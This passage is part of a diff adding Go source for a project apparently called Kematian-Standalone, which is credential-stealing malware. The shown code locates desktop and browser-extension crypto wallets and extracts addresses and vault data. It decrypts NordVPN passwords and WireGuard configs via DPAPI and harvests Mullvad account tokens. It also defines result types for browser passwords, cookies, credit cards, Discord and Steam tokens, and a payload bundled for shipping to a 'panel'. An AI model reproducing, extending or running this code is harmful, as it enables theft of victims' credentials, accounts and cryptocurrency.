+	results = append(results, scanBrowserWalletData()...)
+	return results
+}
+
+func scanDesktopWallets() []types.WalletResult {
+	var results []types.WalletResult
+	for _, w := range getDesktopWalletPaths() {
+		base := resolveWalletBase(w.Base)
+		if base == "" {
+			continue
+		}
+
+		dir := filepath.Join(base, w.SubPath)
+		info, err := os.Stat(dir)
+		if err != nil || !info.IsDir() {
+			continue
+		}
+
+		files, totalSize := countDirContents(dir)
+		if files == 0 {
+			continue
+		}
+
+		wr := types.WalletResult{
+			Name:  w.Name,
+			Type:  "desktop",
+			Path:  dir,
+			Files: files,
+			Size:  totalSize,
+		}
+		wr.Addresses = extractAddressesFromDir(dir)
+		results = append(results, wr)
+	}
+	return results
+}
+
+func scanBrowserWalletData() []types.WalletResult {
+	var results []types.WalletResult
+	for _, cfg := range browser.Browsers {
+		if cfg.IsFirefox {
+			continue
+		}
+		profiles := browser.FindProfileDirs(cfg)
+		for _, profile := range profiles {
+			lesDir := filepath.Join(profile.Path, "Local Extension Settings")
+			for extID, walletName := range knownWalletExtensions {
+				extDataDir := filepath.Join(lesDir, extID)
+				info, err := os.Stat(extDataDir)
+				if err != nil || !info.IsDir() {
+					continue
+				}
+				files, totalSize := countDirContents(extDataDir)
+				if files == 0 {
+					continue
+				}
+				wr := types.WalletResult{
+					Name:  fmt.Sprintf("%s (%s/%s)", walletName, cfg.Name, profile.Name),
+					Type:  "extension",
+					Path:  extDataDir,
+					Files: files,
+					Size:  totalSize,
+				}
+				wr.Addresses = extractAddressesFromDir(extDataDir)
+				wr.VaultData = extractVaultData(extDataDir)
+				results = append(results, wr)
+			}
+		}
+	}
+	return results
+}
+
+func extractAddressesFromDir(dir string) []string {
+	seen := make(map[string]bool)
+	var addrs []string
+
+	filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
+		if err != nil || info.IsDir() || info.Size() == 0 || info.Size() > maxFileReadSize {
+			return nil
+		}
+		if len(addrs) >= maxAddresses {
+			return filepath.SkipAll
+		}
+
+		f, err := os.Open(path)
+		if err != nil {
+			return nil
+		}
+		defer f.Close()
+
+		scanner := bufio.NewScanner(f)
+		scanner.Buffer(make([]byte, 256*1024), 256*1024)
+		for scanner.Scan() {
+			matches := ethAddrRe.FindAllString(scanner.Text(), -1)
+			for _, m := range matches {
+				addr := strings.ToLower(m)
+				if !seen[addr] {
+					seen[addr] = true
+					addrs = append(addrs, m)
+					if len(addrs) >= maxAddresses {
+						return filepath.SkipAll
+					}
+				}
+			}
+		}
+		return nil
+	})
+	return addrs
+}
+
+func extractVaultData(dir string) string {
+	var vault string
+	filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
+		if err != nil || info.IsDir() || vault != "" {
+			return nil
+		}
+		ext := strings.ToLower(filepath.Ext(path))
+		if ext != ".ldb" && ext != ".log" {
+			return nil
+		}
+		if info.Size() == 0 || info.Size() > maxFileReadSize {
+			return nil
+		}
+
+		data, err := os.ReadFile(path)
+		if err != nil {
+			return nil
+		}
+		match := vaultRe.Find(data)
+		if match != nil {
+			vault = string(match)
+			return filepath.SkipAll
+		}
+		return nil
+	})
+	return vault
+}
+
+func countDirContents(dir string) (int, int64) {
+	var count int
+	var totalSize int64
+	filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error {
+		if err != nil || info.IsDir() {
+			return nil
+		}
+		count++
+		totalSize += info.Size()
+		return nil
+	})
+	return count, totalSize
+}

Kematian-Standalone/native/recovery/scanner/wallets_unix.go

@@ -0,0 +1,60 @@
+//go:build !windows
+
+package scanner
+
+import (
+	"os"
+	"path/filepath"
+	"runtime"
+)
+
+func getDesktopWalletPaths() []walletConfig {
+	if runtime.GOOS == "darwin" {
+		return []walletConfig{
+			{"Atomic", "atomic/Local Storage/leveldb", "appdata"},
+			{"Exodus", "Exodus/exodus.wallet", "appdata"},
+			{"Electrum", "Electrum/wallets", "home_dot"},
+			{"Ethereum", "Ethereum/keystore", "home_dot"},
+			{"Coinomi", "Coinomi/wallets", "appdata"},
+		}
+	}
+	// Linux
+	return []walletConfig{
+		{"Atomic", "atomic/Local Storage/leveldb", "config"},
+		{"Exodus", "Exodus/exodus.wallet", "config"},
+		{"Electrum", ".electrum/wallets", "home"},
+		{"Electrum-LTC", ".electrum-ltc/wallets", "home"},
+		{"Ethereum", ".ethereum/keystore", "home"},
+		{"Monero", "Monero/wallets", "home"},
+		{"Armory", ".armory", "home"},
+		{"Bytecoin", ".bytecoin", "home"},
+		{"Coinomi", ".coinomi/Coinomi/wallets", "home"},
+	}
+}
+
+func resolveWalletBase(base string) string {
+	home, _ := os.UserHomeDir()
+	switch base {
+	case "home", "userprofile":
+		return home
+	case "home_dot":
+		return filepath.Join(home, ".")
+	case "appdata":
+		if runtime.GOOS == "darwin" {
+			return filepath.Join(home, "Library", "Application Support")
+		}
+		return filepath.Join(home, ".config")
+	case "config":
+		xdg := os.Getenv("XDG_CONFIG_HOME")
+		if xdg != "" {
+			return xdg
+		}
+		return filepath.Join(home, ".config")
+	case "localappdata":
+		if runtime.GOOS == "darwin" {
+			return filepath.Join(home, "Library", "Application Support")
+		}
+		return filepath.Join(home, ".local", "share")
+	}
+	return ""
+}

Kematian-Standalone/native/recovery/scanner/wallets_windows.go

@@ -0,0 +1,37 @@
+//go:build windows
+
+package scanner
+
+import "os"
+
+func getDesktopWalletPaths() []walletConfig {
+	return []walletConfig{
+		{"Atomic", `atomic\Local Storage\leveldb`, "appdata"},
+		{"Exodus", `Exodus\exodus.wallet`, "appdata"},
+		{"Electrum", `Electrum\wallets`, "appdata"},
+		{"Electrum-LTC", `Electrum-LTC\wallets`, "appdata"},
+		{"Zcash", `Zcash`, "appdata"},
+		{"Armory", `Armory`, "appdata"},
+		{"Bytecoin", `bytecoin`, "appdata"},
+		{"Jaxx", `com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb`, "appdata"},
+		{"Ethereum", `Ethereum\keystore`, "appdata"},
+		{"Guarda", `Guarda\Local Storage\leveldb`, "appdata"},
+		{"Coinomi", `Coinomi\Coinomi\wallets`, "appdata"},
+		{"Monero", `Documents\Monero\wallets`, "userprofile"},
+	}
+}
+
+func resolveWalletBase(base string) string {
+	switch base {
+	case "appdata":
+		return os.Getenv("APPDATA")
+	case "localappdata":
+		return os.Getenv("LOCALAPPDATA")
+	case "userprofile":
+		return os.Getenv("USERPROFILE")
+	case "home":
+		home, _ := os.UserHomeDir()
+		return home
+	}
+	return ""
+}

Kematian-Standalone/native/recovery/types/types.go

@@ -0,0 +1,275 @@
+package types
+
+type BrowserConfig struct {
+	Name         string
+	UserDataPath string
+	ProcessName  string
+	UseAppData   bool
+	IsFirefox    bool
+	FlatProfile  bool
+}
+
+type ProfileInfo struct {
+	Name string
+	Path string
+}
+
+type CollectOptions struct {
+	Browsers    bool `json:"browsers"`
+	Passwords   bool `json:"passwords"`
+	Cookies     bool `json:"cookies"`
+	Autofill    bool `json:"autofill"`
+	History     bool `json:"history"`
+	Bookmarks   bool `json:"bookmarks"`
+	CreditCards bool `json:"creditCards"`
+	Discord     bool `json:"discord"`
+	Files       bool `json:"files"`
+	Wallets     bool `json:"wallets"`
+	Telegram    bool `json:"telegram"`
+	Keys        bool `json:"keys"`
+	Apps        bool `json:"apps"`
+	Gaming      bool `json:"gaming"`
+	VPNs        bool `json:"vpns"`
+}
+
+type ResolvedKeys struct {
+	V10 []byte
+	V20 []byte
+}
+
+type PasswordResult struct {
+	URL      string `json:"url"`
+	Username string `json:"username"`
+	Password string `json:"password"`
+	Browser  string `json:"browser"`
+	Profile  string `json:"profile"`
+}
+
+type CookieResult struct {
+	Host       string `json:"host"`
+	Name       string `json:"name"`
+	Value      string `json:"value"`
+	Path       string `json:"path"`
+	Secure     bool   `json:"secure"`
+	HTTPOnly   bool   `json:"httpOnly"`
+	ExpiresUTC int64  `json:"expiresUtc"`
+	Browser    string `json:"browser"`
+	Profile    string `json:"profile"`
+}
+
+type AutofillResult struct {
+	Name        string `json:"name"`
+	Value       string `json:"value"`
+	DateCreated int64  `json:"dateCreated"`
+	Browser     string `json:"browser"`
+	Profile     string `json:"profile"`
+}
+
+type HistoryResult struct {
+	URL            string `json:"url"`
+	Title          string `json:"title"`
+	VisitTimeUnix  int64  `json:"visitTimeUnix"`
+	VisitCount     int64  `json:"visitCount"`
+	LastVisitTime  int64  `json:"lastVisitTime"`
+	Browser        string `json:"browser"`
+	Profile        string `json:"profile"`
+}
+
+type BookmarkResult struct {
+	Name    string `json:"name"`
+	URL     string `json:"url"`
+	Type    string `json:"type"`
+	Browser string `json:"browser"`
+	Profile string `json:"profile"`
+}
+
+type CreditCardResult struct {
+	NameOnCard       string `json:"nameOnCard"`
+	ExpirationMonth  int    `json:"expirationMonth"`
+	ExpirationYear   int    `json:"expirationYear"`
+	CardNumber       string `json:"cardNumber"`
+	Nickname         string `json:"nickname"`
+	Browser          string `json:"browser"`
+	Profile          string `json:"profile"`
+}
+
+type DiscordTokenResult struct {
+	Token  string `json:"token"`
+	Source string `json:"source"`
+}
+
+type FileResult struct {
+	Path     string   `json:"path"`
+	Name     string   `json:"name"`
+	Ext      string   `json:"ext"`
+	Size     int64    `json:"size"`
+	Modified int64    `json:"modified"`
+	Dir      string   `json:"dir"`
+	Tags     []string `json:"tags,omitempty"`
+}
+
+type ExtensionResult struct {
+	ExtID    string `json:"extId"`
+	Name     string `json:"name"`
+	Version  string `json:"version"`
+	Browser  string `json:"browser"`
+	Profile  string `json:"profile"`
+	Path     string `json:"path"`
+	Category string `json:"category,omitempty"`
+}
+
+type WalletResult struct {
+	Name      string   `json:"name"`
+	Type      string   `json:"type"`
+	Path      string   `json:"path"`
+	Files     int      `json:"files"`
+	Size      int64    `json:"size"`
+	Addresses []string `json:"addresses,omitempty"`
+	VaultData string   `json:"vaultData,omitempty"`
+}
+
+type AppCredentialResult struct {
+	Application string `json:"application"`
+	Host        string `json:"host,omitempty"`
+	Port        int    `json:"port,omitempty"`
+	Username    string `json:"username,omitempty"`
+	Password    string `json:"password,omitempty"`
+	Protocol    string `json:"protocol,omitempty"`
+	Extra       string `json:"extra,omitempty"`
+}
+
+type CollectionResult struct {
+	Passwords      []PasswordResult      `json:"passwords,omitempty"`
+	Cookies        []CookieResult        `json:"cookies,omitempty"`
+	Autofill       []AutofillResult      `json:"autofill,omitempty"`
+	History        []HistoryResult       `json:"history,omitempty"`
+	Bookmarks      []BookmarkResult      `json:"bookmarks,omitempty"`
+	CreditCards    []CreditCardResult    `json:"creditCards,omitempty"`
+	DiscordTokens  []DiscordTokenResult  `json:"discordTokens,omitempty"`
+	Files          []FileResult          `json:"files,omitempty"`
+	Extensions     []ExtensionResult     `json:"extensions,omitempty"`
+	Wallets        []WalletResult        `json:"wallets,omitempty"`
+	Telegram       []TelegramResult      `json:"telegram,omitempty"`
+	Keys           []KeyResult           `json:"keys,omitempty"`
+	AppCredentials []AppCredentialResult  `json:"appCredentials,omitempty"`
+	Gaming         *GamingResult         `json:"gaming,omitempty"`
+	VPNs           *VPNResult            `json:"vpns,omitempty"`
+	Errors         []string              `json:"errors,omitempty"`
+}
+
+type TelegramResult struct {
+	Account string `json:"account"`
+	Path    string `json:"path"`
+	Files   int    `json:"files"`
+	Size    int64  `json:"size"`
+}
+
+type KeyResult struct {
+	Type    string `json:"type"`
+	Name    string `json:"name"`
+	Path    string `json:"path"`
+	Size    int64  `json:"size"`
+	Content string `json:"content,omitempty"`
+}
+
+type SeedResult struct {
+	Source string `json:"source"`
+	Path   string `json:"path"`
+	Phrase string `json:"phrase"`
+	Words  int    `json:"words"`
+}
+
+type GameInfo struct {
+	ID        string `json:"id"`
+	Name      string `json:"name"`
+	Installed bool   `json:"installed"`
+	Running   bool   `json:"running"`
+}
+
+type SteamResult struct {
+	SteamPath   string           `json:"steamPath,omitempty"`
+	AutoLogin   string           `json:"autoLogin,omitempty"`
+	RememberPW  bool             `json:"rememberPw,omitempty"`
+	Account     string           `json:"account,omitempty"`
+	Token       string           `json:"token,omitempty"`
+	SteamTokens []SteamTokenResult `json:"steamTokens,omitempty"`
+	SSFNFiles   []string         `json:"ssfnFiles,omitempty"`
+	Games       []GameInfo       `json:"games,omitempty"`
+}
+
+// SteamTokenResult is one parsed Steam login/refresh token bound to a Steam ID.
+// Format: <steamid>.<jwt>  (steamID is the part before the first dot).
+type SteamTokenResult struct {
+	SteamID string `json:"steamId"`
+	Token   string `json:"token"`
+}
+
+type BattleNetResult struct {
+	Path string `json:"path"`
+	Name string `json:"name"`
+}
+
+type EpicResult struct {
+	Path string `json:"path"`
+	Name string `json:"name"`
+}
+
+type RiotResult struct {
+	Path string `json:"path"`
+	Name string `json:"name"`
+}
+
+type UplayResult struct {
+	Path string `json:"path"`
+	Name string `json:"name"`
+}
+
+type GamingResult struct {
+	Steam     *SteamResult      `json:"steam,omitempty"`
+	BattleNet []BattleNetResult `json:"battleNet,omitempty"`
+	Epic      []EpicResult      `json:"epic,omitempty"`
+	Riot      []RiotResult      `json:"riot,omitempty"`
+	Uplay     []UplayResult     `json:"uplay,omitempty"`
+}
+
+type NordVPNResult struct {
+	Version  string `json:"version"`
+	Username string `json:"username"`
+	Password string `json:"password"`
+}
+
+type WireGuardResult struct {
+	Name      string `json:"name"`
+	Interface string `json:"interface,omitempty"`
+	Peer      string `json:"peer,omitempty"`
+	Endpoint  string `json:"endpoint,omitempty"`
+}
+
+type OpenVPNResult struct {
+	Name string `json:"name"`
+	Path string `json:"path"`
+}
+
+type MullvadResult struct {
+	AccountNumber string `json:"accountNumber"`
+	SettingsPath  string `json:"settingsPath"`
+	Content       string `json:"content,omitempty"`
+}
+
+type VPNResult struct {
+	NordVPN   []NordVPNResult   `json:"nordvpn,omitempty"`
+	WireGuard []WireGuardResult `json:"wireguard,omitempty"`
+	OpenVPN   []OpenVPNResult   `json:"openvpn,omitempty"`
+	Mullvad   []MullvadResult   `json:"mullvad,omitempty"`
+}
+
+// Payload is a binary blob (zip) shipped to the panel, e.g. a wallet folder,
+// Telegram session or Steam login files. Sent together with the result over
+// E2EE so the panel can host + back it up.
+type Payload struct {
+	Category string `json:"category"`
+	Name     string `json:"name"`
+	Filename string `json:"filename"`
+	Size     int    `json:"size"`
+	Data     []byte `json:"data"` // base64-encoded by the JSON layer
+}

Kematian-Standalone/native/recovery/vpn_stub.go

@@ -0,0 +1,186 @@
+//go:build !windows
+
+package recovery
+
+import (
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+
+	"recovery/recovery/types"
+)
+
+func ScanVPNs() *types.VPNResult {
+	result := &types.VPNResult{
+		WireGuard: scanWireGuardUnix(),
+		OpenVPN:   scanOpenVPNUnix(),
+		Mullvad:   scanMullvadUnix(),
+	}
+	if len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 {
+		return nil
+	}
+	return result
+}
+
+func scanWireGuardUnix() []types.WireGuardResult {
+	var results []types.WireGuardResult
+
+	configDirs := []string{"/etc/wireguard"}
+	if runtime.GOOS == "darwin" {
+		configDirs = append(configDirs, "/usr/local/etc/wireguard", "/opt/homebrew/etc/wireguard")
+	}
+	home, _ := os.UserHomeDir()
+	if home != "" {
+		configDirs = append(configDirs, filepath.Join(home, ".config", "wireguard"))
+	}
+
+	for _, configDir := range configDirs {
+		if !pathExists(configDir) {
+			continue
+		}
+		entries, err := os.ReadDir(configDir)
+		if err != nil {
+			continue
+		}
+		for _, e := range entries {
+			if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".conf") {
+				continue
+			}
+			filePath := filepath.Join(configDir, e.Name())
+			confData, err := os.ReadFile(filePath)
+			if err != nil || len(confData) == 0 {
+				continue
+			}
+
+			var iface, peer, endpoint string
+			for _, line := range strings.Split(string(confData), "\n") {
+				line = strings.TrimSpace(line)
+				if key, val, ok := strings.Cut(line, "="); ok {
+					key = strings.TrimSpace(key)
+					val = strings.TrimSpace(val)
+					switch key {
+					case "Address":
+						iface = val
+					case "Endpoint":
+						endpoint = val
+					case "PublicKey":
+						if peer == "" {
+							peer = val
+						}
+					}
+				}
+			}
+
+			results = append(results, types.WireGuardResult{
+				Name:      e.Name(),
+				Interface: iface,
+				Peer:      peer,
+				Endpoint:  endpoint,
+			})
+		}
+	}
+
+	return results
+}
+
+func scanOpenVPNUnix() []types.OpenVPNResult {
+	var results []types.OpenVPNResult
+	home, _ := os.UserHomeDir()
+
+	ovpnDirs := []string{"/etc/openvpn", "/etc/openvpn/client"}
+	if home != "" {
+		ovpnDirs = append(ovpnDirs,
+			filepath.Join(home, ".config", "openvpn"),
+			filepath.Join(home, "OpenVPN", "config"),
+		)
+		if runtime.GOOS == "darwin" {
+			ovpnDirs = append(ovpnDirs,
+				filepath.Join(home, "Library", "Application Support", "OpenVPN Connect", "profiles"),
+			)
+		}
+	}
+
+	for _, ovpnDir := range ovpnDirs {
+		if !pathExists(ovpnDir) {
+			continue
+		}
+		entries, err := os.ReadDir(ovpnDir)
+		if err != nil {
+			continue
+		}
+		for _, e := range entries {
+			if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") {
+				continue
+			}
+			results = append(results, types.OpenVPNResult{
+				Name: e.Name(),
+				Path: filepath.Join(ovpnDir, e.Name()),
+			})
+		}
+	}
+
+	return results
+}
+
+func scanMullvadUnix() []types.MullvadResult {
+	var results []types.MullvadResult
+
+	configDirs := []string{"/etc/mullvad-vpn"}
+	home, _ := os.UserHomeDir()
+	if home != "" {
+		if runtime.GOOS == "darwin" {
+			configDirs = append(configDirs,
+				filepath.Join(home, "Library", "Application Support", "Mullvad VPN"),
+			)
+		} else {
+			configDirs = append(configDirs,
+				filepath.Join(home, ".config", "Mullvad VPN"),
+			)
+		}
+	}
+
+	for _, dir := range configDirs {
+		if !pathExists(dir) {
+			continue
+		}
+		for _, name := range []string{"settings.json", "account-history.json"} {
+			path := filepath.Join(dir, name)
+			data, err := os.ReadFile(path)
+			if err != nil || len(data) == 0 {
+				continue
+			}
+			var raw map[string]json.RawMessage
+			if json.Unmarshal(data, &raw) != nil {
+				var token string
+				if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) {
+					results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
+				}
+				continue
+			}
+			for _, key := range []string{"account_token", "accountToken", "account_number", "account"} {
+				v, ok := raw[key]
+				if !ok {
+					continue
+				}
+				var token string
+				if json.Unmarshal(v, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) {
+					results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
+					break
+				}
+			}
+		}
+	}
+
+	return results
+}
+
+func mullvadAlreadyFoundUnix(results []types.MullvadResult, account string) bool {
+	for _, r := range results {
+		if r.AccountNumber == account {
+			return true
+		}
+	}
+	return false
+}

Kematian-Standalone/native/recovery/vpn_windows.go

@@ -0,0 +1,390 @@
+//go:build windows
+
+package recovery
+
+import (
+	"encoding/base64"
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"recovery/recovery/platform"
+	"recovery/recovery/types"
+)
+
+func ScanVPNs() *types.VPNResult {
+	result := &types.VPNResult{
+		NordVPN:   scanNordVPN(),
+		WireGuard: scanWireGuard(),
+		OpenVPN:   scanOpenVPN(),
+		Mullvad:   scanMullvad(),
+	}
+	if len(result.NordVPN) == 0 && len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 {
+		return nil
+	}
+	return result
+}
+
+func scanNordVPN() []types.NordVPNResult {
+	var results []types.NordVPNResult
+
+	nordDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "NordVPN")
+	logf("[vpn] NordVPN dir=%q exists=%v", nordDir, pathExists(nordDir))
+	if !pathExists(nordDir) {
+		return nil
+	}
+
+	entries, err := os.ReadDir(nordDir)
+	if err != nil {
+		return nil
+	}
+
+	for _, e := range entries {
+		if !e.IsDir() || !strings.Contains(e.Name(), "NordVpn.exe") {
+			continue
+		}
+
+		versionsDir := filepath.Join(nordDir, e.Name())
+		subEntries, _ := os.ReadDir(versionsDir)
+
+		for _, sub := range subEntries {
+			if !sub.IsDir() {
+				continue
+			}
+			configPath := filepath.Join(versionsDir, sub.Name(), "user.config")
+			if !pathExists(configPath) {
+				continue
+			}
+
+			data, err := os.ReadFile(configPath)
+			if err != nil || len(data) == 0 {
+				continue
+			}
+
+			username := extractNordVPNValue(data, "Username")
+			password := extractNordVPNValue(data, "Password")
+
+			if username != "" && password != "" {
+				results = append(results, types.NordVPNResult{
+					Version:  e.Name(),
+					Username: username,
+					Password: password,
+				})
+			}
+		}
+	}
+
+	return results
+}
+
+func extractNordVPNValue(data []byte, field string) string {
+	content := string(data)
+	idx := strings.Index(content, `name="`+field+`"`)
+	if idx == -1 {
+		return ""
+	}
+
+	start := strings.Index(content[idx:], "<value>")
+	end := strings.Index(content[idx:], "</value>")
+	if start == -1 || end == -1 || end < start {
+		return ""
+	}
+
+	raw := content[idx+start+7 : idx+end]
+	decoded, err := base64.StdEncoding.DecodeString(raw)
+	if err != nil {
+		return raw
+	}
+
+	plaintext, err := dpapiDecrypt(decoded, nil)
+	if err != nil || len(plaintext) == 0 {
+		return raw
+	}
+
+	return strings.TrimRight(string(plaintext), "\x00")
+}
+
+func scanWireGuard() []types.WireGuardResult {
+	var results []types.WireGuardResult
+
+	configDirs := []string{
+		`C:\Program Files\WireGuard\Data\Configurations`,
+		filepath.Join(os.Getenv("LOCALAPPDATA"), "WireGuard", "Configurations"),
+	}
+
+	for _, configDir := range configDirs {
+		logf("[vpn] WireGuard config dir=%q exists=%v", configDir, pathExists(configDir))
+		if !pathExists(configDir) {
+			continue
+		}
+
+		entries, err := os.ReadDir(configDir)
+		if err != nil {
+			continue
+		}
+		logf("[vpn] WireGuard dir has %d entries", len(entries))
+
+		for _, e := range entries {
+			if e.IsDir() {
+				continue
+			}
+
+			name := e.Name()
+			ext := strings.ToLower(filepath.Ext(name))
+			filePath := filepath.Join(configDir, name)
+
+			var confData []byte
+
+			if ext == ".dpapi" {
+				confData, err = dpapiDecryptFile(filePath)
+				name = strings.TrimSuffix(name, ".dpapi")
+			} else if ext == ".conf" {
+				confData, err = os.ReadFile(filePath)
+			} else {
+				continue
+			}
+
+			if err != nil || len(confData) == 0 {
+				continue
+			}
+
+			var iface, peer, endpoint string
+			for _, line := range normLines(string(confData)) {
+				line = strings.TrimSpace(line)
+				if key, val, ok := strings.Cut(line, "="); ok {
+					key = strings.TrimSpace(key)
+					val = strings.TrimSpace(val)
+					switch key {
+					case "Address":
+						iface = val
+					case "Endpoint":
+						endpoint = val
+					case "PublicKey":
+						if peer == "" {
+							peer = val
+						}
+					}
+				}
+			}
+
+			results = append(results, types.WireGuardResult{
+				Name:      name,
+				Interface: iface,
+				Peer:      peer,
+				Endpoint:  endpoint,
+			})
+		}
+	}
+
+	return results
+}
+
+func dpapiDecryptFile(path string) ([]byte, error) {
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return nil, err
+	}
+	return dpapiDecrypt(data, nil)
+}
+
+func scanOpenVPN() []types.OpenVPNResult {
+	var results []types.OpenVPNResult
+
+	ovpnDirs := []string{
+		filepath.Join(os.Getenv("APPDATA"), "OpenVPN Connect", "profiles"),
+		filepath.Join(os.Getenv("USERPROFILE"), "OpenVPN", "config"),
+	}
+
+	for _, ovpnDir := range ovpnDirs {
+		logf("[vpn] OpenVPN dir=%q exists=%v", ovpnDir, pathExists(ovpnDir))
+		if !pathExists(ovpnDir) {
+			continue
+		}
+
+		entries, err := os.ReadDir(ovpnDir)
+		if err != nil {
+			continue
+		}
+		logf("[vpn] OpenVPN dir has %d entries", len(entries))
+
+		for _, e := range entries {
+			if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") {
+				continue
+			}
+			results = append(results, types.OpenVPNResult{
+				Name: e.Name(),
+				Path: filepath.Join(ovpnDir, e.Name()),
+			})
+		}
+	}
+
+	return results
+}
+
+func scanMullvad() []types.MullvadResult {
+	var results []types.MullvadResult
+
+	mullvadPids, _ := platform.FindProcesses("mullvad-daemon.exe")
+
+	systemProfile := `C:\Windows\System32\config\systemprofile\AppData\Local\Mullvad VPN`
+	logf("[vpn] Mullvad SYSTEM profile=%q exists=%v", systemProfile, pathExists(systemProfile))
+	if pathExists(systemProfile) {
+		sysSettings := filepath.Join(systemProfile, "settings.json")
+		logf("[vpn] Mullvad SYSTEM settings.json=%q exists=%v", sysSettings, pathExists(sysSettings))
+		mullvadTryJSON(&results, sysSettings)
+
+		sysAcctHistory := filepath.Join(systemProfile, "account-history.json")
+		logf("[vpn] Mullvad SYSTEM account-history=%q exists=%v", sysAcctHistory, pathExists(sysAcctHistory))
+		mullvadReadAccountHistory(&results, sysAcctHistory, mullvadPids)
+	}
+
+	daemonSettings := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "settings.json")
+	logf("[vpn] Mullvad daemon settings=%q exists=%v", daemonSettings, pathExists(daemonSettings))
+	mullvadTryJSON(&results, daemonSettings)
+
+	guiDir := filepath.Join(os.Getenv("APPDATA"), "Mullvad VPN")
+	logf("[vpn] Mullvad GUI dir=%q exists=%v", guiDir, pathExists(guiDir))
+	if pathExists(guiDir) {
+		guiSettings := filepath.Join(guiDir, "gui_settings.json")
+		logf("[vpn] Mullvad gui_settings.json=%q exists=%v", guiSettings, pathExists(guiSettings))
+		mullvadTryJSON(&results, guiSettings)
+
+		lsDir := filepath.Join(guiDir, "Local Storage", "leveldb")
+		logf("[vpn] Mullvad Local Storage=%q exists=%v", lsDir, pathExists(lsDir))
+		if pathExists(lsDir) {
+			mullvadScanLevelDB(&results, lsDir, guiDir)
+		}
+	}
+
+	acctHistory := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "account-history.json")
+	logf("[vpn] Mullvad account-history=%q exists=%v", acctHistory, pathExists(acctHistory))
+	mullvadReadAccountHistory(&results, acctHistory, mullvadPids)
+
+	legacyPath := `C:\Program Files\Mullvad VPN\Configs\Mullvad`
+	logf("[vpn] Mullvad legacy=%q exists=%v", legacyPath, pathExists(legacyPath))
+	if pathExists(legacyPath) {
+		if data, err := os.ReadFile(legacyPath); err == nil && len(data) > 0 {
+			var account string
+			if decrypted, err := dpapiDecrypt(data, nil); err == nil && len(decrypted) > 0 {
+				account = strings.TrimRight(string(decrypted), "\x00")
+			}
+			if account == "" {
+				for _, line := range normLines(strings.TrimSpace(string(data))) {
+					line = strings.TrimSpace(line)
+					if line != "" {
+						account = line
+						break
+					}
+				}
+			}
+			if account != "" && !mullvadAlreadyFound(results, account) {
+				results = append(results, types.MullvadResult{AccountNumber: account, SettingsPath: legacyPath})
+			}
+		}
+	}
+
+	return results
+}
+
+func mullvadTryJSON(results *[]types.MullvadResult, path string) {
+	if !pathExists(path) {
+		return
+	}
+	data, err := os.ReadFile(path)
+	if err != nil || len(data) == 0 {
+		return
+	}
+	var raw map[string]json.RawMessage
+	if json.Unmarshal(data, &raw) != nil {
+		return
+	}
+	for _, key := range []string{"account_token", "accountToken", "account_number", "account"} {
+		v, ok := raw[key]
+		if !ok {
+			continue
+		}
+		var token string
+		if json.Unmarshal(v, &token) == nil && token != "" {
+			logf("[vpn] Mullvad found token via key %q in %s", key, path)
+			if !mullvadAlreadyFound(*results, token) {
+				*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
+			}
+			return
+		}
+	}
+}
+
+func mullvadReadAccountHistory(results *[]types.MullvadResult, path string, pids []uint32) {
+	if !pathExists(path) {
+		return
+	}
+	data, err := platform.ReadLockedFile(path, pids)
+	if err != nil || len(data) == 0 {
+		logf("[vpn] Mullvad ReadLockedFile %q failed: %v", path, err)
+		return
+	}
+	rawContent := strings.TrimSpace(string(data))
+	logf("[vpn] Mullvad account-history content (%d bytes) from %s", len(data), path)
+
+	var token string
+	if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFound(*results, token) {
+		*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path, Content: rawContent})
+	}
+	var tokens []string
+	if json.Unmarshal(data, &tokens) == nil {
+		for _, t := range tokens {
+			if t != "" && !mullvadAlreadyFound(*results, t) {
+				*results = append(*results, types.MullvadResult{AccountNumber: t, SettingsPath: path, Content: rawContent})
+			}
+		}
+	}
+}
+
+func mullvadScanLevelDB(results *[]types.MullvadResult, lsDir, sourceDir string) {
+	entries, err := os.ReadDir(lsDir)
+	if err != nil {
+		return
+	}
+	for _, e := range entries {
+		ext := strings.ToLower(filepath.Ext(e.Name()))
+		if ext != ".log" && ext != ".ldb" {
+			continue
+		}
+		data, err := os.ReadFile(filepath.Join(lsDir, e.Name()))
+		if err != nil || len(data) == 0 {
+			continue
+		}
+		content := string(data)
+		// Mullvad account numbers are 16 decimal digits
+		for i := 0; i <= len(content)-16; i++ {
+			if isDigit(content[i]) {
+				end := i
+				for end < len(content) && isDigit(content[end]) {
+					end++
+				}
+				seq := content[i:end]
+				if len(seq) == 16 {
+					logf("[vpn] Mullvad found 16-digit token in leveldb %s", e.Name())
+					if !mullvadAlreadyFound(*results, seq) {
+						*results = append(*results, types.MullvadResult{AccountNumber: seq, SettingsPath: sourceDir})
+					}
+				}
+				i = end
+			}
+		}
+	}
+}
+
+func isDigit(c byte) bool {
+	return c >= '0' && c <= '9'
+}
+
+func mullvadAlreadyFound(results []types.MullvadResult, account string) bool {
+	for _, r := range results {
+		if r.AccountNumber == account {
+			return true
+		}
+	}
+	return false
+}

Kematian-Standalone/native/recovery/ziputil/zip.go

@@ -0,0 +1,83 @@
+package ziputil
+
+import (
+	"archive/zip"
+	"bytes"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+)
+
+const maxZipSize = 50 * 1024 * 1024 // 50 MB
+
